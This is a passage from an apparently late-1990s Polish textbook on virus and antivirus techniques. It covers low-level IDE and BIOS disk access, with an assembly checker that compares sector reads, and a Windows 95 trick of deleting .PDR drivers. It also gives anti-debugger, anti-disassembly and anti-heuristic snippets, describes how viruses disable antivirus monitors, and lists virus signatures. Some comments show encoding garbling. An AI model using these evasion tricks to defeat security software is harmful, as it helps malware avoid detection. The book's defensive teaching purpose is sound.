11110010 REPNZ
11110011 REP, REPZ
11110101 CMC
1111011D Mm000Mem WartkomD TEST Mem,Wartkom8
1111011D MmOp3Mem Op3 Mem
11111000 CLC
11111001 STC
11111010 CLI
11111011 STI
11111100 CLD
11111101 STD
11111110 MmOp4Mem Op4 Mem
11111111 MmOp5Mem Op5 Mem
ROZDZIAŁ 9
9.1. Sposoby dostępu do dysków
Najczęściej stosowany (bo najprostszy) mechanizm dostępu do plików lub sektorów
polega na używaniu funkcji i przerwań programowych DOS (INT 21h, INT 25h, INT 26h).
Najczęściej korzystają z niego wirusy plikowe i czasem wirusy BOOT-sektorów. Ze
względu na możliwość istnienia zainstalowanego w systemie monitora antywirusowego
sposób ten można bezpiecznie wykorzystać tylko po wyłączeniu aktywnego monitora lub
też po znalezieniu oryginalnych procedur wejścia do odpowiednich przerwań.
Na dużo niższym poziomie operują wirusy infekujące Główny Rekord Ładujący (MBR),
BOOT-sektory i JAP. Korzystają one z przerwania programowego INT 13h, operującego
bezpośrednio na fizycznych sektorach dysków (w przypadku dyskietek można użyć
przerwania 40h). Tak jak w przypadku przerwań i funkcji DOS, funkcje BIOS mogą być
dość łatwo monitorowane przez program antywirusowy, a w nowoczesnych BIOS-ach -
nawet przez program obsługi przerwania. W takim wypadku pozostaje jedyna
bezpieczna metoda ingerencji w zawartość sektorów, polegająca na użyciu
bezpośrednich odwołań do portów.
Pisanie procedur do obsługi plików, które na najniższym poziomie odwoływałyby się do
portów nie ma sensu, natomiast łatwo jest napisać takie procedury tylko dla
pojedynczych, wybranych sektorów, czyli np. MBR, BOOT-sektora, co w przypadku
dysków (zgodnych z IDE lub EIDE) oraz dyskietek jest względnie proste. W przypadku
dysków SCSI jest to o wiele trudniejsze, chociażby ze względu na brak dokładnej
dokumentacji technicznej tych urządzeń, stąd też trzeba obsługiwać je przez funkcje
systemowe (można pokusić się o poszukanie czystych wejść do procedur ich obsługi).
Operując na portach należy pamiętać, iż wraz z pojawieniem się dysków o
pojemnościach o wiele większych od tych, które mogą być standardowo obsługiwane
przez funkcje BIOS przerwania 13h, zaszła konieczność jakiegoś obejścia
dotychczasowych ograniczeń związanych z pojemnością dysków widzianych przez
BIOS. Niektóre twarde dyski posiadają więc w swych pierwszych fizycznych sektorach
(począwszy od MBR) coś w rodzaju nakładki (ang. Dynamic Drive Overlay), która po
załadowaniu do pamięci przez program zawarty w pierwszym fizycznym sektorze
przejmuje i poszerza odpowiednie funkcje obsługi dysku. Aby możliwe było dalsze
wczytywanie systemu, po wczytaniu nakładki odwołania do sektorów są przekierowy-
wane (do numeru cylindra dodawane jest l). W efekcie prawdziwy sektor MBR wcale nie
jest umiejscowiony w sektorze o adresie: cylinder 0, strona 0, sektor l, lecz pod
adresem: cylinder l, strona 0, sektor l. Nieuwzględnienie tego faktu może przyczynić się
do przypadkowego zniszczenia danych na dysku podczas zapisywania przy użyciu
portów, a co za tym idzie, do szybszego wykrycia wirusa.
Najskuteczniejszym sposobem uchronienia się przed odczytem i zapisem bezpośrednio
przez porty jest odpowiednia kontrola dostępu do urządzeń we/wy na poziomie trybu
chronionego przy pomocy tablic map portu. Jednak i to zabezpieczenie nie wydaje się
bardzo pewne, gdyż najczęściej istnieje jakaś możliwość ingerencji w jądro systemu
nawet dla trybu chronionego (jeżeli nie w pamięci, to w plikach), a co za tym idzie,
można zmienić odpowiednią część systemu, odpowiedzialną w tym wypadku za
operacje na dyskach.
W przypadku systemu Windows 95 (działającego w trybie chronionym) można
spróbować wymuszać jego uruchamianie w tzw. trybie zgodności z MS DOS. Tryb ten
oznacza, iż wszelkie wykonywane operacje dyskowe są przekierowywane do trybu
rzeczywistego, a tam nie działa mechanizm ochrony portów.
Aby wymusić używanie tego trybu przez Windows 95, należy skasować lub tymczasowo
usunąć następujące pliki:
> ściezka\SYSTEM\IOSUBSYS\HSFLOP.PDR - plik odpowiedzialny za dyski FDD;
> ścieźka\SYSTEM\IOSUBSYS\ESDI_506.PDR - plik odpowiedzialny za dyski twarde
zgodne z (E)IDE;
> ścieżka\SYSTEM\IOSUBSYS\SCSIPORT.PDR - plik odpowiedzialny za dyski twarde
SCSI,
gdzie ścieżka oznacza katalog, w którym umieszczony jest system Windows.
Zastosowanie tego triku spowoduje, iż przy następnym ładowaniu systemu Windowa
zostanie on uruchomiony w trybie zgodności z MS DOS.
Odnalezienie katalogu, w którym umieszczony jest system Windows, nie stanowi
problemu. Wystarczy w bloku pamięci należącym do środowiska (ang. enviroment)
odnaleźć jedną ze zmiennych (nie zawsze występują wszystkie):
> WIN=;
> WINDIR=;
> WINBOOTDIR=
i odczytać opisywany przez daną zmienną katalog, a następnie już bez trudu uzyskać
dostęp do plików *.PDR.
Poniżej zamieszczono dwa programy, z których jeden odczytuje przy pomocy portów
tablicę partycji pierwszego dysku twardego, a drugi BOOT-sektor dyskietki (musi być w
napędzie). Odczytane sektory są porównywane z zawartością sektorów widzianych
przez funkcje BIOS, zaś wynik porównania jest wyświetlany na ekranie.
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; IDE_PORT v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Program odczytuje sektor tablicy partycji pierwszego
twardego dysku ;
; przez porty IDE i przerwanie BIOS, a nastepnie tak
odczytane sektory ;
; porownuje ze soba.
;
; Umozliwia wiec sprawdzenie, czy odczyty BIOSa nie sa
zafalszowane ;
; przez jakiegos wirusa.
;
;
;
; UWAGA : Odczyt przez porty dziala tylko dla dyskow zgodnych z
IDE lub EIDE ;
; i nie dziala w systemie Windows'95
;
;
;
; Kompilacja :
;
; TASM /t IDE_PORT.ASM
;
; TLINK IDE_PORT.OBJ
;
;
;
;----------------------------------------------------------------
------------;
IDE_PORT SEGMENT
ASSUME CS:IDE_PORT, DS:IDE_PORT
ORG 100h
NUL = 00h ; \
LF = 0Ah ; - stale potrzebne do
deklaracji
CR = 0Dh ; / lancuchow napisowych
Start:
lea si,TeCopyRight ; \ wyswietl info o programie
Call Druk ; /
mov ax,1600h ; sprawdz, czy praca w systemie
Windows ?
int 2Fh
test al,7Fh ;
jz NieMaWindows ; ZF=0 - nie ma Windows
cmp al,4 ; czy wersja Windows < 4.0 ?
jb NieMaWindows ; TAK - to nie Windows 95
; NIE - to Windows 95
lea bp,TeWindows95 ; \ program nie dziala pod
Windows 95
jmp Rozne ; / wiec koncz
NieMaWindows:
mov dx,1F2h ; 1F2 - okresla ile sektorow
czytac
mov al,00000001b ; czytaj 1 sektor
out dx,al ; wyslij do IDE
inc dx ; 1F3 - okresla, ktory sektor
pierwszy
mov al,00000001b ; czytaj sektor nr 1
out dx,al ; wyslij do IDE
inc dx ; 1F4 - starsza czesc cylindra
(bity 0-1)
mov al,00000000b ; czytaj cylinder 0
out dx,al ; wyslij do IDE
inc dx ; 1F5 - mlodsza czesc cylindra
(bity 0-7)
mov al,00000000b ; czytaj cylinder 0
out dx,al ; wyslij do IDE
inc dx ; 1F6 - nr dysku + nr glowicy
mov al,10100000b ; 101NGggg, N=0=master/1=slave,
Gggg - glowica
out dx,al ; wyslij do IDE
inc dx ; 1F7 - rejestr rozkazowy IDE
mov al,00100000b ; rozkaz odczytu
out dx,al ; wyslij do IDE
lea bp,TeIDENieDziala ; odczyt przez porty nie dziala
mov cx,0FFFFh ; tyle razy odczytuj z portu
CzekajNaDane:
in al,dx ; czekaj na dane z kontrolera
IDE
test al,00001000b ; bit 3 ustawiony ?
loopz CzekajNaDane ; TAK - mozna czytac, NIE -
czekaj dalej
test al,00001000b ; bit 3 ustawiony ?
jz Rozne ; NIE - jakis blad
mov cx,256 ; 256x2 bajtow
lea di,SektorIDE ; gdzie zapisac dane
mov dx,1F0h ; 1F0 - port danych IDE
cld ; INC DI w operacjach
lancuchowych
CzytajSektor:
in ax,dx ; czytaj slowo
stosw ; zachowaj je
loop CzytajSektor ; czytaj 256 slow=512 bajtow
sektora
mov dx,80h ; dysk twardy nr 0, glowica 0
mov cx,1 ; cylinder 0, sektor 1
lea bx,SektorBIOS ; dokad czytac sektor
mov ax,0201h ; funkcja BIOS - czytaj 1
sektor
int 13h ; wywolaj funkcje BIOS
lea bp,TeInne ; komunikat ze rozne
mov cx,256 ; porownaj 256 slow=512 bajtow
lea si,SektorIDE ; bufor z sektorem odczytanym
przez porty
lea di,SektorBIOS ; bufor z sektorem odczytanym
przez BIOS
rep cmpsw ; porownaj oba bufory
jne Rozne ; ZF=0 - takie same, ZF=1 -
rozne
lea bp,TeTakieSame ; komunikat, ze takie same
Rozne:
mov si,bp ; komunikat : rozne lub takie
same
Call Druk ; wyswietl komunikat
mov ax,4C00h ; funkcja DOS - koncz program
int 21h ; wywolaj funkcje
Druk: ; procedura wyswietla tekst
ASCIIZ z CS:SI
push ax si ; zachowaj zmieniane rejestry
NastepnyZnak:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem ?
jz DrukPowrot ; TAK = koniec napisu wyjdz z
petli
mov ah,0Eh ; funkcja BIOS
int 10h ; wyswietl znak (z AL)
jmp short NastepnyZnak ; wez nastepny znak
DrukPowrot:
pop si ax ; przywroc zmieniane rejestry
ret ; powrot z procedury
TeCopyRight db CR,LF,'IDE_PORT v1.0, Autor : Adam Blaszczyk
1997',NUL
TeTakieSame db CR,LF,'_ Odczyt przez IDE-porty = odczyt przez
BIOS !',NUL
TeInne db CR,LF,'_ Odczyt przez IDE-porty <> odczyt przez
BIOS !',NUL
TeWindows95 db CR,LF,'_ Odczyt przez IDE-porty nie dziala w
Windows''95 !',NUL
TeIDENieDziala db CR,LF,'_ Odczyt przez IDE-porty nie dziala
!',NUL
SektorBIOS db 512/16 dup ('[ SEKTOR BIOS ] ')
SektorIDE db 512/16 dup ('[ SEKTOR EIDE ] ')
IDE_PORT ENDS
END Start
9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyjne i
antyheurystyczne
Aby utrudnić życie programistom piszącym szczepionki oraz zabezpieczyć swój kod
przed niepowołanymi osobami, twórcy wirusów (i nie tylko) często używają tzw. sztuczek
antydebuggerowych oraz antydeasemblerowych. Najbardziej znane sztuczki
antydebuggerowe polegają na chwilowym (na czas wykonywania kodu wirusa)
blokowaniu przerwań sprzętowych, co dla osoby próbującej analizować kod programu
objawia się tym, iż np. klawiatura przestaje działać po wykonaniu instrukcji.
Przeszkadzanie włamywaczom polegać może także na blokowaniu lub chwilowym przejmowaniu przerwań newralgicznych
dla działania programu uruchomieniowego, a więc 0lh (przerwanie trybu krokowego) i 03h (pułapka programowa). Ich
adresy najczęściej ustawia się na 0FFFFh:0000h, czyli na procedurę resetującą programowo komputer. Często w takich
wypadkach przejmowane są także przerwania 21h, 16h, 10h, służące debuggerom do obsługi plików, klawiatury, ekranu
itd.
Inna metoda przeszkadzania potencjalnym włamywaczom polega na tym, iż wirus
próbuje wykrywać fakt pracowania pod kontrolą de-buggera i po ewentualnym wykryciu -
wykonywać jakąś destrukcyjną operację lub też próbować uciec włamywaczowi tak, aby
ten niczego nie zauważył.
Klasycznymi przykładami sztuczek antydebuggerowych są poniższe sekwencje:
; Blokada przerwa˝ sprzŕtowych
MOV AL,0FFh ; ustaw wszystkie bity w AL na 1
OUT 21h, AL ; zamaskuj przerwania sprzŕtowe od 0 do
7
OUT 0Alh, AL ; zamaskuj przerwania sprzŕtowe od 8 do
F Wykrywanie,
; czy kod wykonuje siŕ pod kontrola
debuggera
PUSH SS ; za│aduj na stos wartoťŠ SS
POP SS ; po tej instrukcji, nastŕpny rozkaz nie
jest
; kontrolowany,
PUSHF ; wiŕc mo┐na zachowaŠ na stosie
prawdziwe flagi
POP AX ; AX=flagi zdjŕte ze stosu
TEST AH,1 ; czy bit TF=1 ?
JNZ DEBUG_ON ; jeťli tak, to u┐ywany jest debugger
........ ; debugger nie jest u┐ywany
DEBUG_ON: ; debugger jest u┐ywany
Wraz z pojawieniem się debuggerów działających w trybie chronionym znaczenie
sztuczek anydebuggerowych zmalało. Oczywiście, ciągle można je stosować, jednak
będą one raczej nieskuteczne. Na przykład, jeżeli program próbuje manipulować
adresami procedur obsługi przerwań INT l czy INT 3, debugger działający w trybie
rzeczywistym oczywiście im ulegnie, natomiast w przypadku debuggera dla trybu
chronionego w zasadzie nic się nie stanie, gdyż używa on innej, własnej tablicy
przerwań.
Aby uniemożliwić lub utrudnić deasemblację wirusa, stosuje się szyfrowanie oraz
odpowiednie kombinaqe instrukcji, które zakłócają typowy listing programu tak, iż staje
się on chaotyczny, nieczytelny i na pozór bezsensowny (tak jak we wspomnianym we
wstępie wirusie JUMP).
Przykładem jest krótki programik wyświetlający po uruchomieniu komunikat Cześć!, a
napisany tak, iż po jego deasemblacji (np. SOUR-CER-em) uzyskuje się chaotyczny
listing (co ciekawe, podczas kilkakrotnych prób otrzymywane źródło nie było zawsze
takie same).
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; ANTY_DEA v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Program demonstruje proste techniki
antydeasemblerowe ;
; Po skompilowaniu mozna sprobowac deasemblowac kod
tego ;
; programu przy uzyciu np. SOURCERa i porownac z
oryginalnym ;
; zrodlem
;
;
;
; Kompilacja :
;
; TASM ANTY_DEA.ASM
;
; TLINK /t ANTY_DEA.OBJ
;
;
;
;----------------------------------------------------------------
------------;
ANTY_DEA SEGMENT
ASSUME CS:ANTY_DEA, DS:ANTY_DEA
ORG 100h
Start: ; poczatek programu
sub bp,bp ; zeruj rejestr BP
lea dx,[bp+offset TxCzesc] ; dostep do danych
poprzez
; adresowanie typowo
uzywane
; przy operacjach na
stosie
; deasembler moze nie
zauwazyc
; ze chodzi o zwykly
ofset
; do tekstu
jmp $+4 ; przeskocz bajt 0EAh
; i wskocz w drugi
bajt
; rozkazu ADD, czyli
; przejdz do rozkazu
; jmp Koniec
; (ukrytego w kodzie
rozkazu ADD)
db 0EAh ; symuluj wywolanie
; dalekiej procedury
; o kodzie EA OO OO
SS SS, gdzie
; SS SS : Seg, OO OO
: ofs
; mozliwe, ze
deasembler pobierze
; dwuslowo i zamieni
je
; na SS SS : OO OO
; i nie wykryje ani
ADD, ani JMP
add ax,0EBh+256*(offset Koniec-$-3) ; kod tego rozkazu
; to db 05
; db EB
; db (offset
Koniec-$-3)
; od drugiego bajtu
rozpoczyna sie
; kod rozkazu Jmp
Koniec (EB,??)
TxCzesc db 0Dh,0Ah,'Czesc!',0Dh,0Ah,'$' ; tekst w srodku
kodu;
; istnieje szansa, ze
; deasembler zacznie
; go interpretowac
jako kod
db 0EAh ; ta sama sztuczka co
powyzej;
; symulacja wywolania
dalekiej
; procedury
Koniec: ; tu dotrze program
omijajac tekst
jmp $+3 ; przeskocz bajt 0EAh
db 0EAh ; ta sama sztuczka co
powyzej;
; symulacja wywolania
dalekie
; procedury CALL FAR
; ponizsza sekwencja
mov ah,9/
; int 21h jest 4
bajtowa i jest
; calkowicie
"pochlonieta" przez
; symulowany rozkaz
CALL FAR
mov ah,9 ; funkcja DOS -
wyswietl tekst$
int 21h ; wywolaj funkcje DOS
ret ; powrot do
PSP:0000h,
; gdzie znajduje sie
kod Int 20h,
; czyli koncz program
ANTY_DEA ENDS
END Start
Ze względu na fakt, iż większość obecnie istniejących programów antywirusowych
stosuje tryb krokowy lub też emulację procesora do wykrywania wirusów
polimorficznych, twórcy wirusów starają się w jakiś sposób utrudnić wykrywanie wirusów
tymi metodami.
Specjalnie w tym celu do procedury dekodera, tworzonej przez poli-morficzny generator,
dodaje się wywołania różnych, występujących typowo w zwykłym oprogramowaniu,
funkcji przerwań 10h, 21h, 16h i innych, a także umieszcza się w niej wywołania
procedur. Ciekawym zabiegiem antyemulacyjnym są też próby nadania dekoderowi
wyglądu programu napisanego w językach wysokiego poziomu (posiadają one
charakterystyczne sekwencje kodu na początku programu), bądź też nadanie plikowi
cech np. wewnętrznie spakowanego programu (np. dodanie sygnatur PKLITE, LZEXE
lub innych).
Po wykryciu wywołania pewnej ilości funkcji obsługiwanych przez przerwania
programowe, próbujący wgryźć się w kod wirusa program antywirusowy zwykle
przerywa dalsze poszukiwania i pozostawia plik bez zmian.
Ze względu na stosowanie przez programy antywirusowe heurysty-cznego wykrywania
wirusów, nowsze wirusy potrafią już poradzić sobie z tego typu metodami, poprzez
odpowiednią manipulację kodem, np. tradycjną sekwencję:
CMP AX,4B00h
mo┐na zakodowaŠ w wirusie jako:
ADD AX,1234h
CMP AX,4B00h+1234h
lub
XCHG AX,CX
CMP AX,4B00h XCHG AX,CX
lub na inną, gdyż możliwości jest tu w zasadzie nieskończenie wiele. Gdy podobną
operację wykona się dla większości zawartych w wirusie instrukcji, program
antywirusowy będzie miał spore kłopoty z rozpoznaniem intruza.
9.3. Optymalizacje kodu
Jak wspomniano na początku, wirus powinien być maksymalnie krótki i zwięzły, tak więc
autorom wirusów zwykle zależy na minimalizacji kodu wirusa, bez utracenia jego
funkcjonalności. W tym celu stosuje się różne rozwiązania polegające na odpowiednim
kodowaniu różnych instrukcji, które - mimo, że krótsze od normal-
nie przeznaczonych do danego celu rozkazów - zachowują ich funkcjonalność. Poniższe
przykłady ilustrują najbardziej znane i proste optymalizacje kodu:
XOR REJ16,REJ16 ; zeruj rejestr 16-bitowy za pomoce 2-
bajtowego
; rozkazu (zamiast 3-bajtowego rozkazu
MOV REJ16,0)
XOR AX,AX ; zeruj rejestry DX:AX za pomoc╣ dwˇch
rozkazˇw CWD
; zajmuj╣cych razem 3 bajty (zamiast 4
lub 6 bajtˇw)
XCHG AX,REJ16 ; przenieť zawartoťŠ rejestru AX do
innego rejestru
; 16-bitowego zamiast
2-bajtowej instrukcji MOV BX,AX
; (mo┐na u┐ywaŠ tylko w niektˇrych
sytuacjach)
INC REJ16 ; dwie 1-bajtowe instrukcje INC
INC REJ16 ; zamiast jednej 3-bajtowej instrukcji
ADD REJ16,2
; analogicznie dla rozkazu
SUB REJ16,2
; 2xDEC
9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi
monitorami antywirusowymi
Większość z nowoczesnych wirusów w aktywny sposób stara się walczyć z
zainstalowanym oprogramowaniem antywirusowym. Wirusy kasują więc pliki z sumami
kontrolnymi, modyfikują znalezione w pamięci programy antywirusowe, tak aby nie były
one aktywne, lub nawet deinstalują je całkowicie z pamięci w sposób niewidoczny dla
użytkownika.
Co ciekawe, większość monitorów antywirusowych, zawierających wyrafinowane
metody wykrywania niebezpiecznych odwołań do plików czy sektorów, nie przykłada
żadnej wagi do ochrony własnego
kodu. W kolejnych wersjach programy te mają schematyczną budo' we, a korzystające z
tego wirusy potrafią wykryć odpowiednią sekwencję w pamięci i zmienić ją tak, iż
program, mimo że jest zainstalowany, nie działa tak, jak powinien.
Najbardziej jaskrawym tego przykładem jest chyba modyfikacja parametrów
wejściowych programu antywirusowego, który po uruchomieniu wyświetla swój status,
zawierający użyty przez wirusa parametr. Dodawane przez wirusy parametry najczęściej
wyłączają bezpośredni dostęp do dysków, przeszukiwanie pamięci itp. Aby uniemożliwić
użytkownikowi zauważenie wprowadzonych w parametrach zmian, wirusy zmieniają
odpowiedni łańcuch bezpośrednio w pamięci ekranu, tak iż odbiorca (użytkownik
programu) patrząc na ekran jest przekonany o poprawnym działaniu programu, mimo że
ten ma zablokowane funkcje, które prawdopodobnie pomogłyby wykryć wirusa.
We wspomnianych we wstępie zinach, dotyczących programowania wirusów, znaleźć
można artykuły, które bardzo dokładnie opisują sposoby łamania najbardziej znanych na
świecie programów antywirusowych (w artykułach tych najczęściej mówi się o serii
zaawansowanych programów antywirusowych ThunderByte autorstwa Fransa
Veldmana).
W najbliższych latach spodziewać się można powstania zupełnie nowych odmian
wirusów, które wykorzystywać będą nie znane nam aktualnie mechanizmy. Poniżej
przedstawiono krótki przegląd przewidywanych przez większość znawców wirusów
trendów rozwojowych progamowania wirusów. Ze względu jednak na charakter
rozdziału oraz na wątpliwą wiarygodność różnego rodzaju przepowiedni, zalecam
czytelnikowi podejście do tego tekstu z odrobiną sceptycyzmu.
ROZDZIAŁ 10
10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform viruses)
Jednym z zadań, jakie stawiają sobie obecnie twórcy wirusów, jest stworzenie wirusa,
który mógłby egzystować w jak największej ilości systemów operacyjnych (w tym także
sieciowych). Wirus taki powinien infekować wszystkie możliwe do zarażenia obiekty, a
także w miarę możliwości przenosić się w sieci, wykorzystując protokoły transmisji
sieciowej. Wydaje się, iż ze względu na różnice występujące pomiędzy różnymi
komputerami i systemami operacyjnymi, najniższym poziomem, na jakim będzie mógł
pracować taki wirus, będzie jakiś język programowania wysokiego poziomu, najpewniej
C lub podobny. Odpowiedni może okazać się stale rozwijany, dość popularny język
JAVA, masowo wykorzystywany w sieci Intemet. Poprzez zawarte w nim mechanizmy
można będzie zapewne stworzyć wirusa, który będzie się przemieszczał bez większych
trudności po całej sieci Internet.
Idea stworzenia wirusa działającego na różnych komputerach nie jest wcale tak odległa,
jak można by sądzić po przeczytaniu powyższego tekstu. Prawdziwą niespodzianką jest
fakt, iż pierwsze wirusy niezależne sprzętowo już istnieją i są to... makrowirusy, które
radzą sobie zarówno na komputerach klasy PC, jak i Macintosh,
10.2. Wirusy infekujące wewnątrzplikowo (ang. surface infectors)
Większość obecnie istniejących wirusów infekując pliki używa standardowego
schematu, polegającego na doczepianiu się na końcu zarażanego pliku i odpowiedniej
modyfikacji jego nagłówka. Zarażanie wewnątrzplikowe polega na próbie odnalezienia i
wykorzystania w zarażanym pliku miejsca, które można byłoby wykorzystać na
umieszczenie przyszłego wirusa. Możliwe byłoby nawet rozrzucenie kodu wirusa po
pliku ofiary, tak iż poszczególne części kodu byłyby od siebie oddzielone. Ponadto,
gdyby wirus tego typu był polimorfi-czny, znalezienie jego kodu wewnątrz ofiary byłoby
podwójnie utrudnione. Mimo że już wielokrotnie podejmowano próby napisania takiego
wirusa, nieliczne istniejące egzemplarze są jeszcze bardzo prymitywne.
10.3. Wirusy zmienne genetycznie (mutujące swój kod)
W kilku artykułach dostępnych w sieci Internet ich autorzy rozważają możliwość
stworzenia wirusa, który w kolejnych zarażanych ofiarach wyglądałby inaczej, jednak
kolejne generacje nie byłyby tworzone przy użyciu polimorficznego generatora
zmiennych procedur szyfrujących, a zasada tworzenia nowych mutacji własnego kodu
polegałaby na manipulowaniu instrukcjami kodu maszynowego tak, aby zachowana
została funkcjonalność kodu, lecz kod ten sukcesywnie by się zmieniał (podobnie jak
kod odporny na heurystykę, jednak tutaj zabieg ten byłby wykonywany dla każdej
instrukcji). Można by powiedzieć, iż wirus taki posiadałby swoistą tożsamość,
objawiającą się tym, iż wiedziałby, co ma robić i na bazie jakiegoś generatora tworzyłby
swą nową kopię, przemieszczając odpowiednie fragmenty ko
du, symulując jedną instrukcję za pomocą kilku itp. Na razie jednak zadanie to
przekracza chyba umiejętności nawet najlepszych twórców wirusów, choć
niewykluczone, iż dzieło takie wkrótce się pojawi.
10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty
Jak udowodniły makrowirusy plików DOC czy XLS, ciągle można znaleźć jakąś nową
platformę, dotąd nie zajętą przez wirusy. Ze względu na zmierzch systemu DOS znawcy
wirusów przewidują, iż za kolejny cel twórcy wirusów obiorą sobie inne popularne
systemy, zwłaszcza system Windows 95 oraz, w mniejszym stopniu, Unix (zwłaszcza
Linux), OS/2 lub Windows NT. Już dziś można znaleźć okazy wirusów infekujących np.
system Windows 95, Linux, OS/2 i,
co ciekawe, są one napisane w... czystym asemblerze (nawet w przypadku Linuxa).
Popularność środowiska Windows 95 powoduje, iż za możliwe obiekty ataku można
uznać większość plików używanych przez ten system, które zawierają jakieś przydatne
wirusom struktury danych lub też oferują jakiś możliwy do wykorzystania mechanizm. Są
to głównie pliki z kodem np. DLL, VXD, MPD, PDR, DRV, 386 oraz pliki grup i skrótów:
GRP i LNK, przy pomocy których można stworzyć kolejne warianty wirusów
towarzyszących. Ze względu na strukturę plików przeznaczonych dla Windows 95 (pliki
nowe EXE o nagłówku
PE) możliwe jest także zastosowanie zmiennych procedur szyfrujących do lepszego
ukrycia wirusa.
ROZDZIAŁ 11
11.1. Skanery (ang. scaners)
Najstarszym rodzajem programów antywirusowych są skanery. Ich działanie polega na
wyszukiwaniu zadanej sekwencji bajtów w ciągu danych.
W większości wirusów daje się znaleźć unikalną sekwencję bajtów (tzw. sygnaturę),
dzięki której możliwe jest odnalezienie wirusa w pamięci lub w zarażonej ofierze.
Skuteczność skanera zależy od tego, jak bardzo charakterystyczna jest dana
sekwencja. Najlepiej, jeżeli wirus zawiera w sobie jakiś niekonwencjonalny napis lub
specyficzny ciąg bajtów (np. jakąś procedurę demonstracyjną).
Wraz z pojawieniem się wirusów polimorficznych znaczenie skanerów trochę zmalało,
jednak nadal jest to najważniejsza metoda walki z wirusami. Nawet w przypadku
wirusów polimorficznych używa się skanera, choć dopiero w późniejszej fazie
wykrywania (np. po krokowym lub emulowanym przejściu początku programu), co
świadczy o uniwersalności tej metody.
11.2. Monitory (ang. behaviour blockers, interceptors, resident monitors)
Monitor to program antywirusowy zainstalowany jako TSR lub sterownik SYS, który
poprzez monitorowanie odpowiednich funkcji DOS i BIOS pozwala na wykrywanie
wszystkich wykonywanych za pomocą tych funkcji odwołań do dysków. Większość tego
typu programów posiada także mechanizmy pozwalające na sprawdzanie, czy
wykonywany proces nie ingeruje w jakieś systemowe struktury danych, np. bloki MCB
lub tablicę wektorów przerwań. To, czy monitor będzie działał prawidłowo, zależy często
od momentu, w którym przejął on kontrolę nad systemem (przed czy po wirusie) oraz od
tego, jak głęboko wnika on w system operacyjny (kontrola funkcji wykorzystywanych
przez wirusy jest przeprowadzana na początku łańcucha obsługi przerwań lub też na
jego końcach). Jak widać, aby dotrzymać kroku twórcom wirusów, autorzy programów
antywirusowych muszą korzystać z metod podobnych do tych, które stosują twórcy
wirusów.
Największą wadą monitorów jest to, iż powodują one częste fałszywe alarmy (ang. false
positives), przez co użytkownik po kolejnym irytującym potwierdzeniu jakiejś zwykłej
operacji dyskowej staje się mniej uważny, a czasami wręcz deinstaluje program
antywirusowy z pamięci.
11.3. Szczepionki (ang. disinfectors)
Szczepionki są programami skierowanymi przeciwko konkretnym wirusom. Na
podstawie posiadanego, złapanego egzemplarza wirusa można, po odpowiedniej
analizie jego kodu, zdefiniować sygnatury, na podstawie których wykrywa się kopie
wirusa w zainfekowanych obiektach. Dokładna analiza kodu wirusa najczęściej pozwala
także odnaleźć w nim oryginalne wartości pewnych parametrów, które mogą posłużyć
do wyleczenia sektorów lub plików (np. dla plików typu EXE jest to punkt wejścia do
oryginalnego programu, dla plików COM - początkowe bajty programu). Większość z
istniejących szczepionek to rozbudowane programy z interfejsem, które potrafią wykryć i
usunąć kilka tysięcy wirusów. Tylko w przypadkach nowych wirusów niektóre osoby,
zmuszone okolicznościami, same piszą szczepionkę skierowaną przeciwko
konkretnemu wirusowi, czego efektem z reguły jest nie do końca przetestowany, ale
działający program.
11.4. Programy autoweryfikujące
Programy tego typu umożliwiają dodanie do wskazanego pliku krótkiego programu,
mającego na celu sprawdzenia przy każdym uruchomienie, czy dany program nie został
w jakiś sposób zmieniony (co zwykle oznacza ingerencję wirusa). Dodawany kod
dopisuje się do pliku wykorzystując te same mechanizmy co wirusy.
Najczęściej programy tego rodzaju są nieodporne na technikę stealth i w systemie
zainfekowanym przez wirusa używającego tej sztuczki nie wykażą żadnej zmiany w
pliku, mimo że jest on zainfekowany.
11.5. Programy zliczające sumy kontrolne (ang. integrity checkers)
Działanie tego typu programów polega na obliczaniu odpowiednich sum kontrolnych dla
zadanego pliku lub plików oraz ewentualnie sektorów. Zliczane sumy kontrolne są
najczęściej przechowywane w osobnych plikach, tworzonych po pierwszym
uruchomieniu programu. Jeżeli pliki te istniały już wcześniej, program antywirusowy
wykorzystuje dane w nich zawarte, aby porównać sumę obliczaną na bieżąco z
poprzednio zachowaną.
Suma kontrolna nie musi (a nawet nie powinna) być sumą arytmetyczną. Dzięki
znajomości algorytmów stosowanych przez pewne programy antywirusowe niektóre
wirusy potrafią zarazić plik i obliczyć dla niego nową sumę kontrolną, którą bez
większych problemów można zastąpić pierwotną, przechowywaną w pliku.
Piętą Achillesową programów zliczających sumy kontrolne jest to, iż pliki
przechowywujące obliczone sumy nie są w żaden sposób chronione, dlatego wiele
wirusów bezkarnie kasuje napotkane znane sobie pliki z sumami kontrolnymi.
ROZDZIAŁ 12
12.1. Skaning
Historycznie jest to najstarsza technika stosowana przez programy antywirusowe.
Skaning polega na wyszukiwaniu w zainfekowanym obiekcie zadanej sekwencji bajtów
(sygnatury wirusa).
Poniżej przedstawiono kilka przykładowych sygnatur istniejących wirusów:
B8 ED FE CD 21 A3 03 01 0E 8F 06 6F 01 BA ; sygnatura wirusa
Atomie 1.0
BE 30 01 8B 16 17 01 B9 35 01 2E 31 14 83 ; sygnatura wirusa
Human Greed
8B FC 36 8B 2D 81 ED 03 01 44 44 1E 06 OE ; sygnatura wirusa
DOOM!
5D 83 ED 03 E8 15 00 EB 27 90 E8 OF 00 B4 ; sygnatura wirusa
Ethernity
5D 81 ED 03 01 EB 1B 90 B8 24 35 CD 21 ; sygnatura wirusa
OLG
Jak widać, tradycyjna sygnatura jest to ciąg bajtów o nieustalonej z góry długości,
zapisanych heksalnie, które program antywirusowy konwertuje na rozumianą przez
siebie postać binarną (maszynową) i dopiero taki łańcuch poszukiwany jest w
przeszukiwanym obiekcie. Z czasem pojęcie sygnatury rozszerzono. Dzisiejsze skanery
potrafią interpretować różne symbole oraz znaki globalne (ang. wildcards) np. ? czy *.
Poniżej podano przykłady kilku prostych, nieznacznie rozszerzonych sygnatur
